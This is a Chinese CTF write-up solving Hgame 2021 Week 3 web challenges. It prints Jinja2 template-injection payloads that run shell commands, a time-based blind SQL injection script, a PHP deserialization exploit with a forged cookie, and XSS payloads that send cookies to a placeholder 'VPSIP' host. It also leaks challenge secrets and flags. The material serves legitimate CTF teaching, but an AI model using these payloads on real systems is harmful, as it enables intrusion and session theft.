CTF | 2021 Hgame Week3 WriteUp


引言

Hgame 2021 Week 3

喵呜呜,第三周好难啊!

这周过年比较忙,就随意看了看吧。

Web

Forgetful

Liki 总是忘记很多事情,于是她灵机一动,用新学会的 Python 写了一个 TodoList,快用起来吧!

https://todolist.liki.link/

查看 页面存在 SSTI.

Payload:

{{""["\x5f\x5fcla""ss\x5f\x5f"]["\x5f\x5fba""se\x5f\x5f"]["\x5f\x5fsubcla""sses\x5f\x5f"]()[408]["\x5f\x5fin""it\x5f\x5f"]["\x5f\x5fglo""bals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("ls -al /")["read"]()}}
 total 104
drwxr-xr-x   1 root root 4096 Feb 11 16:13 .
drwxr-xr-x   1 root root 4096 Feb 11 16:13 ..
drwxr-xr-x   5 root root 4096 Feb 13 13:59 app
drwxr-xr-x   1 root root 4096 Jun  4  2020 bd_build
drwxr-xr-x   1 root root 4096 Jun  4  2020 bin
drwxr-xr-x   2 root root 4096 Apr 24  2018 boot
drwxr-xr-x   5 root root  340 Feb 14 14:00 dev
-rwxr-xr-x   1 root root    0 Feb 11 16:13 .dockerenv
drwxr-xr-x   1 root root 4096 Feb 13 14:48 etc
-rw-r--r--   1 root root   38 Feb 11 16:12 flag
drwxr-xr-x   1 root root 4096 Feb 11 16:12 home
drwxr-xr-x   1 root root 4096 Feb 11 16:12 lib
drwxr-xr-x   1 root root 4096 Feb 11 16:12 lib64
drwxr-xr-x   2 root root 4096 Apr  3  2020 media
drwxr-xr-x   2 root root 4096 Apr  3  2020 mnt
drwxr-xr-x   2 root root 4096 Apr  3  2020 opt
dr-xr-xr-x 217 root root    0 Feb 14 14:00 proc
-rw-r--r--   1 root root  122 Feb 11 15:10 requirements.txt
drwx------   1 root root 4096 Feb 11 16:12 root
drwxr-xr-x   1 root root 4096 Jun  4  2020 run
drwxr-xr-x   1 root root 4096 Jun  4  2020 sbin
drwxr-xr-x   2 root root 4096 Apr  3  2020 srv
dr-xr-xr-x  13 root root    0 Feb 13 12:31 sys
drwxrwxrwt   1 root root 4096 Feb 14 11:40 tmp
drwxr-xr-x   1 root root 4096 Apr  3  2020 usr
drwxr-xr-x   1 root root 4096 Apr  3  2020 var

但是发现读不了根目录的 flag,发现 bash 或者 nc 也反弹不了 shell,emmm

然后试了 wc -l /flag 发现并没有被拦,其他文件也能读。(没过滤 flag cat

所以推测是 输出的字符串中如果出现关键字则拦截

试试发现从后往前读可以,最终 payload:

{{""["\x5f\x5fcla""ss\x5f\x5f"]["\x5f\x5fba""se\x5f\x5f"]["\x5f\x5fsubcla""sses\x5f\x5f"]()[408]["\x5f\x5fin""it\x5f\x5f"]["\x5f\x5fglo""bals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("tail -c 35 /flag")["read"]()}}

或者 cat /flag|base64 也行。

hgame{h0w_4bou7+L3arn!ng~PythOn^Now?}

气死我了,这就去读源码。

{{""["\x5f\x5fcla""ss\x5f\x5f"]["\x5f\x5fba""se\x5f\x5f"]["\x5f\x5fsubcla""sses\x5f\x5f"]()[408]["\x5f\x5fin""it\x5f\x5f"]["\x5f\x5fglo""bals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("ls -al")["read"]()}}

total 40
drwxr-xr-x 5 root root 4096 Feb 13 13:59 .
drwxr-xr-x 1 root root 4096 Feb 11 16:13 ..
-rw-r--r-- 1 root root 5255 Feb 13 13:59 app.py
-rw-r--r-- 1 root root  168 Feb 11 15:10 ext.py
-rw-r--r-- 1 root root  945 Feb 11 15:10 forms.py
-rw-r--r-- 1 root root 1048 Feb 11 15:10 models.py
drwxr-xr-x 2 root root 4096 Feb 11 15:10 __pycache__
drwxr-xr-x 5 root root 4096 Feb 11 15:10 static
drwxr-xr-x 2 root root 4096 Feb 11 15:10 templates

app.py

#!/usr/bin/python
#-*- coding: UTF-8 -*-
from __future__ import unicode_literals

from flask import (Flask, render_template, redirect, url_for, request, flash)
from jinja2 import Template
from flask_bootstrap import Bootstrap
from flask_login import login_required, login_user, logout_user, current_user
from hashlib import md5

from forms import TodoListForm, LoginForm, RegisterForm
from ext import db, login_manager
from models import TodoList, User

import pymysql
pymysql.install_as_MySQLdb()

SECRET_KEY = 'ssssssTiLIKISAMA'
SALT = 'SIKILIKISAMA'

app = Flask(__name__)
bootstrap = Bootstrap(app)

app.secret_key = SECRET_KEY
app.config['SQLALCHEMY_DATABASE_URI'] = "mysql://ctf:p45Sw0rdOfssti@ssti_database/todolist"
app.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = True


db.init_app(app)
login_manager.init_app(app)
login_manager.login_view = "login"


@app.route('/', methods=['GET', 'POST'])
@login_required
def show_todo_list():
    form = TodoListForm()
    if request.method == 'GET':
        todolists = TodoList.query.filter_by(user_id=current_user.id)
        return render_template('index.html', todolists=todolists, form=form)
    else:
        if form.validate_on_submit():
            todolist = TodoList(current_user.id, form.title.data, form.status.data)
            db.session.add(todolist)
            db.session.commit()
            flash('You have ADD a new todo list')
        else:
            flash(form.errors)
        return redirect(url_for('show_todo_list'))


@app.route('/delete/<int:id>')
@login_required
def delete_todo_list(id):
    user_id = TodoList.query.filter_by(id=id).first_or_404().user_id
    if (user_id == current_user.id):
        todolist = TodoList.query.filter_by(id=id).first_or_404()
        db.session.delete(todolist)
        db.session.commit()
        flash('You have DELETE a todo list')
    else:
        flash('You DO NOT have permission to delete this todo')
    return redirect(url_for('show_todo_list'))


@app.route('/view/<int:id>', methods=['GET'])
@login_required
def view_todo_list(id):
    user_id = TodoList.query.filter_by(id=id).first_or_404().user_id
    if (user_id == current_user.id):
        try:
            todo = TodoList.query.filter_by(id=id).first_or_404()
            s = render_template('view.html', todo=todo)
            s = s.replace("lza9veb5WmH367fcuUyn", todo.title)
            t = Template(s)
            r = t.render()
            if (('hgame' in r) or ('emagh' in r)):
                r = 'Stop!!!'
                r = 'Stop!!!'
            return r
        except:
            flash("Something went wrong!")
    else:
        flash('You DO NOT have permission to view this todo')
    return redirect(url_for('show_todo_list'))


@app.route('/modify/<int:id>', methods=['GET', 'POST'])
@login_required
def modify_todo_list(id):
    user_id = TodoList.query.filter_by(id=id).first_or_404().user_id
    if (user_id == current_user.id):
        if request.method == 'GET':
            todolist = TodoList.query.filter_by(id=id).first_or_404()
            form = TodoListForm()
            form.title.data = todolist.title
            form.status.data = str(todolist.status)
            return render_template('modify.html', form=form)
        else:
            form = TodoListForm()
            if form.validate_on_submit():
                todolist = TodoList.query.filter_by(id=id).first_or_404()
                todolist.title = form.title.data
                todolist.status = form.status.data
                db.session.commit()
                flash('You have MODIFY a todolist')
            else:
                flash(form.errors)
    else:
        flash('You DO NOT have permission to modify this todo')
    return redirect(url_for('show_todo_list'))


@app.route('/login', methods=['GET', 'POST'])
def login():
    if request.method == 'POST':
        pswd = md5((request.form['password'] + SALT).encode(encoding='UTF-8')).hexdigest()
        print(pswd)
        user = User.query.filter_by(username=request.form['username'], password=pswd).first()
        if user:
            login_user(user)
            flash('You have logged in!')
            return redirect(url_for('show_todo_list'))
        else:
            flash('Invalid username or password')
    form = LoginForm()
    return render_template('login.html', form=form)


@app.route('/register', methods=['GET', 'POST'])
def register():
    if request.method == 'POST':
        pswd = md5((request.form['password'] + SALT).encode(encoding='UTF-8')).hexdigest()
        print(pswd)
        newuser = User(username=request.form['username'], password=pswd)
        user = db.session.add(newuser)
        try:
            db.session.commit()
            flash('You have registered!')
            return redirect(url_for('login'))
        except:
            flash('Username Exists')
    form = RegisterForm()
    return render_template('register.html', form=form)


@app.route('/logout')
@login_required
def logout():
    logout_user()
    flash('You have logout!')
    return redirect(url_for('login'))


@login_manager.user_loader
def load_user(user_id):
    return User.query.filter_by(id=int(user_id)).first()


if __name__ == '__main__':
    app.run(host='0.0.0.0', port=5000, debug=False)

果然是检查渲染后的结果里是否有 hgame 或者 emagh,有的话就直接返回 Stop!!!

居然有个 MySQL 数据库,嘿嘿信息都有了。

Liki-Jail

漫长的追捕结束了,作恶多端的 Switch 被警官 Liki 捉拿归案,关押在离奇监狱
不过 Switch 好像有着不可告人的秘密,有着必须要完成的事情,他必须要逃离监狱
不巧的是监狱管理系统刚好正在维护,只有管理员可以登录系统,该怎么办呢……

https://jailbreak.liki.link/

过滤了 空格 - ' " =

\ 转义掉引号,试了试 username=\, password=/**/Or/**/sleep(10)# 果然能够 sleep。

于是就是 基于时间的盲注 了。

然后又是 SQL 注入环节。

Exp:

注意 Content-Type 要加上 application/x-www-form-urlencoded,不然么得反应。

=like 绕过,但是 like 默认不区分大小写,所以需要 like binary.

空格用 /**/ 绕过。

MySQL 里含有特殊字符可以用 反引号包起来,如 (`blal@b@la`)

# coding: utf-8
"""
时间盲注脚本
MiaoTony
"""
import requests
import time
from urllib.parse import urlencode

header = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:85.0) Gecko/20100101 Firefox/85.0",
    "Referer": "https://jailbreak.liki.link/",
    "Host": "jailbreak.liki.link",
    "Content-Type": "application/x-www-form-urlencoded"
}


def get_len(password: str):
    # 获取数据库长度
    print("start get length...")
    url = "https://jailbreak.liki.link/login.php"
    for i in range(1, 30):
        payload = {}
        payload["username"] = "\\"
        payload["password"] = password.format(i=i)
        payload = urlencode(payload)
        # print(payload)
        startTime = time.time()
        r = requests.post(url, data=payload, headers=header)
        r.encoding = 'utf-8'
        # print(r.text)
        if time.time() - startTime >= 1:
            break
    print("length:", i)


def get_name(password: str, length: int):
    # 获取数据库名
    url = "https://jailbreak.liki.link/login.php"
    name = ''
    for j in range(1, length + 1):
        for i in '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ@#$%':
            print(i, '...')
            s = hex(ord(i))
            payload = {}
            payload["username"] = "\\"
            payload["password"] = password.format(j=j, s=s)
            payload = urlencode(payload)
            # print(payload)
            # payload = r"username=%5C&password=%2F**%2FoR%2F**%2Fif%28length%28database%28%29%29likE%2F**%2F9%2Csleep%283%29%2C1%29%23"
            startTime = time.time()
            r = requests.post(url, data=payload, headers=header)
            r.encoding = 'utf-8'
            # print(r.text)
            if time.time() - startTime >= 1:
                name += i
                print('====>', name)
                break
    print('name:', name)


def main():
    # db_len = "/**/oR/**/if(length(database())likE/**/{i},sleep(1),1)#"
    # get_len(db_len)
    # # 9

    # db_name = "/**/oR/**/if(substr(database(),{j},1)liKe/**/{s},sleep(1),1)#"
    # get_name(db_name, 9)
    # # week3sqli

    # table_len = "/**/oR/**/if((seleCt/**/lenGth(table_name)liKe/**/{i}/**/fRom/**/information_schema.tables/**/wHere/**/table_schema/**/liKe/**/database()/**/limit/**/0,1),sleep(1),1)#"
    # get_len(table_len)
    # # 5

    # table_name = "/**/oR/**/if((seLect/**/subStr(table_name,{j},1)liKe/**/{s}/**/fRom/**/information_schema.tables/**/wHere/**/table_schema/**/liKe/**/database()/**/limIt/**/0,1),sleep(1),1)#"
    # get_name(table_name, 5)
    # # u5ers

    # column_len = "/**/oR/**/if((seleCt/**/lenGth(column_name)liKe/**/{i}/**/fRom/**/information_schema.columns/**/wHere/**/table_name/**/liKe/**/0x7535657273/**/limit/**/0,1),sleep(1),1)#"
    # get_len(column_len)
    # # 8

    # column_name = "/**/oR/**/if((seLect/**/subStr(column_name,{j},1)liKe/**/{s}/**/fRom/**/information_schema.columns/**/wHere/**/table_name/**/liKe/**/0x7535657273/**/limIt/**/1,1),sleep(1),1)#"
    # get_name(column_name, 8)
    # # usern@me, p@ssword

    # username_len = "/**/oR/**/if((seLect/**/lenGth(`usern@me`)liKe/**/{i}/**/fRom/**/u5ers/**/lImit/**/0,1),sleep(1),1)#"
    # get_len(username_len)
    # # 5

    # password_len = "/**/oR/**/if((seLect/**/lenGth(`p@ssword`)liKe/**/{i}/**/fRom/**/u5ers/**/lImit/**/0,1),sleep(1),1)#"
    # get_len(password_len)
    # # 24

    # username = "/**/oR/**/if((seLect/**/subStr(`usern@me`,{j},1)liKe/**/binary/**/{s}/**/fRom/**/u5ers/**/limIt/**/0,1),sleep(1),1)#"
    # get_name(username, 5)
    # # admin

    password = "/**/oR/**/if((seLect/**/subStr(`p@ssword`,{j},1)liKe/**/binary/**/{s}/**/fRom/**/u5ers/**/limIt/**/0,1),sleep(1),1)#"
    get_name(password, 24)
    # sOme7hiNgseCretw4sHidd3n


if __name__ == '__main__':
    main()

最后登录拿到 flag。

hgame{7imeB4se_injeCti0n+hiDe~th3^5ecRets}

Arknights

r4u十连了!r4u没出夕和年!r4u自闭了!r4u写了个抽卡模拟器想要证明自己不是非酋,这一切都是鹰角的错。r4u用git部署到了自己的服务器上,然而这一切都被大黑客liki看在了眼里。 flag位于网站根目录flag.php中

http://84f327c77d.arknights.r4u.top

好耶,是 git 泄露!

先把源码拉下来。

index.php

<?php
error_reporting(0);
require_once ("simulator.php");
$simulator = new Simulator();
$cards = array();
if(isset($_POST["draw"])){
    $cards = $simulator->draw($_POST["draw"]);
}
?>
<html lang="en">
<head>
    <title>Arknights</title>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <link href="static/css/bootstrap.min.css" rel="stylesheet">
    <link href="/static/css/cover.css" rel="stylesheet">
</head>
<body class="text-center">
    <div class="d-flex w-100 h-100 p-3 mx-auto flex-column">
        <header class="mastfoot mt-auto">
            <h1>非酋证明器</h1>
            <br>
            <br>
        </header>

        <main style="height: 85%">
            <div class="card own">
                <h5 class="card-header" style="color: blue">抽中的六星干员</h5>
                <div class="card-body">
                    <?php
                        $legendary = $simulator->getLegendary();
                        foreach ($legendary as $worker){

                            echo "<p class='legendary'>".$worker["type"]." ".$worker["name"]."</p>";

                        }
                    ?>
                </div>
            </div>
            <div class="card col-md-3" style="color: #007bff;width=100%;">
                <h5 class="card-header">刀客塔,你要老婆不要?</h5>
                <div class="card-body">
                    <?php
                    if(!empty($cards)){
                        echo "<h5 class=\"card-title\">抽卡结果:</h5>";
                        echo "<br>";
                    }
                    foreach ($cards as $card){
                        switch ($card["stars"]){
                            case 3:
                                echo "<p class='normal'>".$card["card"]["star"]." ".$card["card"]["type"]." ".$card["card"]["name"]."</p>";
                                break;
                            case 4:
                                echo "<p class='rare'>".$card["card"]["star"]." ".$card["card"]["type"]." ".$card["card"]["name"]."</p>";
                                break;
                            case 5:
                                echo "<p class='epic'>".$card["card"]["star"]." ".$card["card"]["type"]." ".$card["card"]["name"]."</p>";
                                break;
                            case 6:
                                echo "<p class='legendary'>".$card["card"]["star"]." ".$card["card"]["type"]." ".$card["card"]["name"]."</p>";
                                break;
                        }
                    }
                    ?>
                    <br>
                    <hr>
                    <form method="POST" action="">
                        <button class="btn btn-primary" name="draw" value="1">抽一次</button>
                        <button class="btn btn-primary" name="draw" value="10">连连连连连连连连连连!</button>
                    </form>
                </div>
            </div>

        </main>
        <footer class="mastfoot mt-auto">
            <p>Made by 109发抽不到<del>老婆</del>夕的<b>R4u</b>.</p>
        </footer>
    </div>
</body>
</html>

simulator.php

<?php
class Simulator{
    public $session;
    public $cardsPool;

    public function __construct(){
        $this->session = new Session();
        if(array_key_exists("session", $_COOKIE)){
            $this->session->extract($_COOKIE["session"]);
        }
        $this->cardsPool = new CardsPool("./pool.php");
        $this->cardsPool->init();
    }

    public function draw($count){
        $result = array();

        for($i=0; $i<$count; $i++){
            $card = $this->cardsPool->draw();

            if($card["stars"] == 6){
                $this->session->set('', $card["No"]);
            }

            $result[] = $card;
        }

        $this->session->save();

        return $result;
    }

    public function getLegendary(){
        $six = array();

        $data = $this->session->getAll();
        foreach ($data as $item) {
            $six[] = $this->cardsPool->cards[6][$item];
        }

        return $six;
    }
}

class CardsPool
{

    public $cards;
    private $file;

    public function __construct($filePath)
    {
        if (file_exists($filePath)) {
            $this->file = $filePath;
        } else {
            die("Cards pool file doesn't exist!");
        }
    }

    public function draw()
    {
        $rand = mt_rand(1, 100);
        $level = 0;

        if ($rand >= 1 && $rand <= 42) {
            $level = 3;
        } elseif ($rand >= 43 && $rand <= 90) {
            $level = 4;
        } elseif ($rand >= 91 && $rand <= 99) {
            $level = 5;
        } elseif ($rand == 100) {
            $level = 6;
        }

        $rand_key = array_rand($this->cards[$level]);

        return array(
            "stars" => $level,
            "No" => $rand_key,
            "card" => $this->cards[$level][$rand_key]
        );
    }

    public function init()
    {
        $this->cards = include($this->file);
    }

    public function __toString(){
        return file_get_contents($this->file);
    }
}


class Session{

    private $sessionData;

    const SECRET_KEY = "7tH1PKviC9ncELTA1fPysf6NYq7z7IA9";

    public function __construct(){}

    public function set($key, $value){
        if(empty($key)){
            $this->sessionData[] = $value;
        }else{
            $this->sessionData[$key] = $value;
        }
    }

    public function getAll(){
        return $this->sessionData;
    }


    public function save(){

        $serialized = serialize($this->sessionData);
        $sign = base64_encode(md5($serialized . self::SECRET_KEY));
        $value = base64_encode($serialized) . "." . $sign;

        setcookie("session",$value);
    }


    public function extract($session){

        $sess_array = explode(".", $session);
        $data = base64_decode($sess_array[0]);
        $sign = base64_decode($sess_array[1]);

        if($sign === md5($data . self::SECRET_KEY)){
            $this->sessionData = unserialize($data);
        }else{
            unset($this->sessionData);
            die("Go away! You hacker!");
        }
    }
}


class Eeeeeeevallllllll{
    public $msg="坏坏liki到此一游";

    public function __destruct()
    {
        echo $this->msg;
    }
}

pool.php 里是一堆默认游戏配置

<?php
    return array(
        3 => array(//%42
            array("star" => "★★★", "name" => "kokodayo~", "type" => "狙击"),
            array("star" => "★★★", "name" => "泡普卡", "type" => "近卫"),
            array("star" => "★★★", "name" => "炎熔", "type" => "术士"),
            array("star" => "★★★", "name" => "斑点", "type" => "重装"),
            array("star" => "★★★", "name" => "香草", "type" => "先锋"),
            array("star" => "★★★", "name" => "粉毛猛男", "type" => "医疗"),
            array("star" => "★★★", "name" => "翎羽", "type" => "先锋"),
            array("star" => "★★★", "name" => "泡普卡", "type" => "近卫"),
            array("star" => "★★★", "name" => "卡缇", "type" => "重装"),
            array("star" => "★★★", "name" => "米格鲁", "type" => "重装"),
            array("star" => "★★★", "name" => "安德切尔", "type" => "狙击"),
            array("star" => "★★★", "name" => "芙蓉", "type" => "医疗"),
            array("star" => "★★★", "name" => "梓兰", "type" => "特种")
        ),
       //......
    );

关键的源码在 simulator.php 里,可以看到有 __construct() __toString() file_get_contents

反序列化漏洞

那就构造利用链好了。

注意到 Eeeeeeevallllllll 类里有 echo,让这个 msg 指向 CardsPool('flag.php') 对象,就能在Eeeeeeevallllllll 实例化的对象销毁的时候调用 CardsPool 对象的 __toString(),通过 file_get_contents 来读取 flag 文件了。

Exp:

直接在 simulator 文件结尾加上这几条语句。

$xx = new Eeeeeeevallllllll();
$xx->msg = new CardsPool('flag.php');
echo "<br>";
$yy = serialize($xx);
echo $yy;
echo "<br>";
$sign = base64_encode(md5($yy . "7tH1PKviC9ncELTA1fPysf6NYq7z7IA9"));
$value = base64_encode($yy) . "." . $sign;
echo $value;

得到序列化的字符串 以及 加密的字符串

O:17:"Eeeeeeevallllllll":1:{s:3:"msg";O:9:"CardsPool":2:{s:5:"cards";N;s:15:"CardsPoolfile";s:8:"flag.php";}}
TzoxNzoiRWVlZWVlZXZhbGxsbGxsbGwiOjE6e3M6MzoibXNnIjtPOjk6IkNhcmRzUG9vbCI6Mjp7czo1OiJjYXJkcyI7TjtzOjE1OiIAQ2FyZHNQb29sAGZpbGUiO3M6ODoiZmxhZy5waHAiO319.Y2Q1NjAzYWE3MjAxOWEwM2NjOWEwY2ZkNzk0ZmEwNzQ=

改 cookies 再访问即可拿到 flag。

flag

Post to zuckonit2.0

d1gg12 的博客被日穿以后,他想办法学了更深入的 XSS 防护方法, 现在这个博客看上去已经坚不可摧了…是这样吗?

http://zuckonit-2.0727.site:5000/

还是 XSS。

给了源码在 /static/www.zip

app.py

@app.route('/')
def home():
    response = make_response(render_template("index.html"))
    response.headers['Set-Cookie'] = "token=WELCOME TO HGAME 2021.;"
    response.headers['Content-Security-Policy'] = "default-src 'self'; script-src 'self';"
    return response


@app.route('/preview')
def preview():
    if session.get('substr') and session.get('replacement'):
        substr = session['substr']
        replacement = session['replacement']
    else:
        substr = ""
        replacement = ""
    response = make_response(
        render_template("preview.html", substr=substr, replacement=replacement))
    return response


@app.route('/send', methods=['POST'])
def send():
    if request.form.get('content'):
        content = escape_index(request.form['content'])
        if session.get('contents'):
            content_list = session['contents']
            content_list.append(content)
        else:
            content_list = [content]
        session['contents'] = content_list
        return "post has been sent."
    else:
        return "WELCOME TO HGAME 2021 :)"


@app.route('/replace', methods=["POST"])
def replace():
    if request.form.get('substr') and request.form.get('replacement'):
        session['substr'] = escape_replace(request.form['substr'])
        session['replacement'] = escape_replace(request.form['replacement'])
        return "replace success"
    else:
        return "There is no content to replace any more"


@app.route('/contents', methods=["GET"])
def get_contents():
    if session.get('contents'):
        content_list = jsonify(session['contents'])
    else:
        content_list = jsonify('<i>2021-02-12</i><p>Happy New Year every guys! '
                               'Maybe it is nearly done now.</p>',
                               '<i>2021-02-11</i><p>Busy preparing for the Chinese New Year... '
                               'And I add some new features to this editor, maybe you can take a try. '
                               'But it has not done yet, I\'m not sure if it can be safe from attacks.</p>',
                               '<i>2021-02-07</i><p>so many hackers here, I am going to add some strict rules.</p>',
                               '<i>2021-02-06</i><p>I have tried to learn HTML the whole yesterday, '
                               'and I finally made this ONLINE BLOG EDITOR. Feel free to write down your thoughts.</p>',
                               '<i>2021-02-05</i><p>Yesterday, I watched <i>The Social Network</i>. '
                               'It really astonished me. Something flashed me.</p>')
    return content_list


@app.route('/code', methods=["GET"])
def get_code():
    if session.get('code'):
        return Response(response=json.dumps({'code': session['code']}), status=200, mimetype='application/json')
    else:
        code = create_code()
        session['code'] = code
        return Response(response=json.dumps({'code': code}), status=200, mimetype='application/json')


@app.route('/flag')
def show_flag():
    if request.cookies.get('token') == "29342ru89j3thisisfakecookieq983h23ijfq2ojifrnq92h2":
        return "hgame{G3t_fl@g_s0_Easy?No_way!!wryyyyyyyyy}"
    else:
        return "Only admin can get the flag, your token shows that you're not admin!"


@app.route('/clear')
def clear_session():
    session['contents'] = []
    return "ALL contents are cleared."


def escape_index(original):
    content = original
    content_iframe = re.sub(r"^(<?/?iframe)\s+.*?(src=[\"'][a-zA-Z/]{1,8}[\"']).*?(>?)$", r"\1 \2 \3", content)
    if content_iframe != content or re.match(r"^(<?/?iframe)\s+(src=[\"'][a-zA-Z/]{1,8}[\"'])$", content):
        return content_iframe
    else:
        content = re.sub(r"<*/?(.*?)>?", r"\1", content)
        return content


def escape_replace(original):
    content = original
    content = re.sub("[<>]", "", content)
    return content


def create_code():
    hashobj = hashlib.md5()
    hashobj.update(bytes(str(time.time()), encoding='utf-8'))
    code_hash = hashobj.hexdigest()[:6]
    return code_hash

主页 / 加了 Content-Security-Policy,/preview 页面没有。

templates/preview.html

<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <link href="{{ url_for('static',filename='css/common.css') }}" rel="stylesheet" type="text/css">
    <title>ONLINE BLOG EDITOR</title>
    <script src="{{ url_for('static',filename='js/jquery-3.5.1.min.js') }}"></script>
    <script>
        $(function () {
            $.get("/contents").done(function (data) {
                let substr = "{{ substr }}"
                let replacement = "{{ replacement | safe }}"
                let output = document.getElementById("output")
                for (let i = 0; i < data.length; i++) {
                    let div = document.createElement("div")
                    div.innerHTML = data[i].replace(substr, replacement)
                    output.appendChild(div)
                }
            })
        })
    </script>
</head>

<body>
<div id="header">
    <a href="#">Online Blog Editor</a>
</div>
<div id="navigation">
    <ol>
        <li><a href="#">Editor</a></li>
        <li><a href="/flag">Flag</a></li>
        <li><a href="#">About</a></li>
        <li><a href="#">Help</a></li>
    </ol>
</div>
<div id="main">
    <h1 id="title">Post to Zuckonit</h1>
    <div id="main-content">
        <div id="output"></div>
    </div>

</div>
</body>
</html>

模板里的 let substr = "{{ substr }}" 是将特殊字符如 引号 "<> 转义了的。

let replacement = "{{ replacement | safe }}" 出来是保留原型的。

于是这里就有漏洞。

就构造一个 payload 把引号闭合,然后带着 cookie 打到 VPS 上。

meow"+$.get("http://VPSIP/"+document.cookie);//

post 的内容的话就放个指向 preview 的 iframe。

<iframe src="preview"></iframe>

后端替换后返回

<iframe src="preview" >

还是有效的。

然后算个 md5 提交。

token=568fda45ba279640fc974e68b592366d82e1b74dfbc18c92ba4df52e6870e7c2

最后改 cookie,拿 flag.

hgame{simple_csp_bypass&a_small_mistake_on_the_replace_function}

这当然是非预期解啦 2333.

Post to zuckonit another version

d1gg12 的博客被日穿以后,他想办法学了更深入的 XSS 防护方法, 现在这个博客看上去已经坚不可摧了…是这样吗?
hint1: 查看网页源代码
hint2: 关于“更深入的xss防护方法”: 看看返回头?
hint3: RegExp
hint4: https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/String/replace

http://zuckonit-2-another.0727.site:5050/

(来复现一下)

app.py

@app.route('/')
def home():
    response = make_response(render_template("index.html"))
    response.headers['Set-Cookie'] = "token=WELCOME TO HGAME 2021.;"
    response.headers['Content-Security-Policy'] = "default-src 'self'; script-src 'self';"
    return response


@app.route('/preview')
def preview():
    if session.get('substr'):
        substr = session['substr']
    else:
        substr = ""
    response = make_response(
        render_template("preview.html", substr=substr))
    return response


@app.route('/send', methods=['POST'])
def send():
    if request.form.get('content'):
        content = escape_index(request.form['content'])
        if session.get('contents'):
            content_list = session['contents']
            content_list.append(content)
        else:
            content_list = [content]
        session['contents'] = content_list
        return "post has been sent."
    else:
        return "WELCOME TO HGAME 2021 :)"


@app.route('/search', methods=["POST"])
def replace():
    if request.form.get('substr'):
        session['substr'] = escape_replace(request.form['substr'])
        return "replace success"
    else:
        return "There is no content to search any more"


@app.route('/contents', methods=["GET"])
def get_contents():
    if session.get('contents'):
        content_list = jsonify(session['contents'])
    else:
        content_list = jsonify('<i>2021-02-12</i><p>Happy New Year every guys! '
                               'Maybe it is nearly done now.</p>',
                               '<i>2021-02-11</i><p>Busy preparing for the Chinese New Year... '
                               'And I add some new features to this editor, maybe you can take a try. '
                               'But it has not done yet, I\'m not sure if it can be safe from attacks.</p>',
                               '<i>2021-02-07</i><p>so many hackers here, I am going to add some strict rules.</p>',
                               '<i>2021-02-06</i><p>I have tried to learn HTML the whole yesterday, '
                               'and I finally made this ONLINE BLOG EDITOR. Feel free to write down your thoughts.</p>',
                               '<i>2021-02-05</i><p>Yesterday, I watched <i>The Social Network</i>. '
                               'It really astonished me. Something flashed me.</p>')
    return content_list


@app.route('/code', methods=["GET"])
def get_code():
    if session.get('code'):
        return Response(response=json.dumps({'code': session['code']}), status=200, mimetype='application/json')
    else:
        code = create_code()
        session['code'] = code
        return Response(response=json.dumps({'code': code}), status=200, mimetype='application/json')


@app.route('/flag')
def show_flag():
    if request.cookies.get('token') == "29342ru89j3thisisfakecookieq983h23ijfq2ojifrnq92h2":
        return "hgame{G3t_fl@g_s0_Easy?No_way!!wryyyyyyyyy}"
    else:
        return "Only admin can get the flag, your token shows that you're not admin!"


@app.route('/clear')
def clear_session():
    session['contents'] = []
    return "ALL contents are cleared."


def escape_index(original):
    content = original
    content_iframe = re.sub(
        r"^(<?/?iframe)\s+.*?(src=[\"'][a-zA-Z/]{1,8}[\"']).*?(>?)$", r"\1 \2 \3", content)
    if content_iframe != content or re.match(r"^(<?/?iframe)\s+(src=[\"'][a-zA-Z/]{1,8}[\"'])$", content):
        return content_iframe
    else:
        content = re.sub(r"<*/?(.*?)>?", r"\1", content)
        return content


def escape_replace(original):
    content = original
    content = re.sub(r"[<>\"\\]", "", content)
    return content


def create_code():
    hashobj = hashlib.md5()
    hashobj.update(bytes(str(time.time()), encoding='utf-8'))
    code_hash = hashobj.hexdigest()[:6]
    return code_hash

改了个 search,过滤里多了 " \ 不能像上一题那样闭合那个 双引号 了。

preview.html 中的 js 改成了

$(function () {
    $.get("/contents").done(function (data) {
        let content = "{{ substr | safe }}"
        let output = document.getElementById("output")
        for (let i = 0; i < data.length; i++) {
            let div = document.createElement("div")
            let substr = new RegExp(content, 'g')
            div.innerHTML = data[i].replace(substr, `<b class="search_result">${content}</b>`)
            output.appendChild(div)
        }
    })
})

可见弄了个 正则替换。

官方 writeup

根据官方 WriteUp,可以通过构造 {任意匹配的字符串}|{想要注⼊的字符串} 这样的正则表达式来给页面注入元素。

再根据 String.prototype.replace() 的特殊变量名

特殊变量名

主页还是 post

<iframe src="preview">

于是就可以利用 分组 结合 $n 来得到尖括号。

单引号还是能用的,嘿嘿。

payload:

(.)iframe src=.preview.(.)|$1img src=x onerror=top.location='//VPSIP/'+document.cookie$2

然后拿到 cookie

token=6a506f5c3eff9ffe9dc573bc93629038f61a7fcdd7662efb441451b08b0c6671

拿到 flag

hgame{CSP_iS_VerY_5trlct&0nly_C@n_uSe_3vil.Js!}

BTW, 官方给的 payload 是

利⽤我们 post 的 iframe 两边的尖括号,通过 $` $' ⽆中⽣有

iframe|$`input size=11 onfocus=window.open('vps-ip'+document.cookie)
autofocus$'

Crypto

LikiPrime

Wow! RSA!

https://prime.liki.link/

#!/usr/bin/env python3

import random
from libnum import s2n
from secret import secrets, flag


def get_prime(secret):
    prime = 1
    for _ in range(secret):
        prime = prime << 1
    return prime - 1


random.shuffle(secrets)

m = s2n(flag)
p = get_prime(secrets[0])
q = get_prime(secrets[1])
n = p * q
e = 0x10001
c = pow(m, e, n)

print("n = {}.format(n)")
print("e = {}.format(e)")
print("c = {}.format(c)")
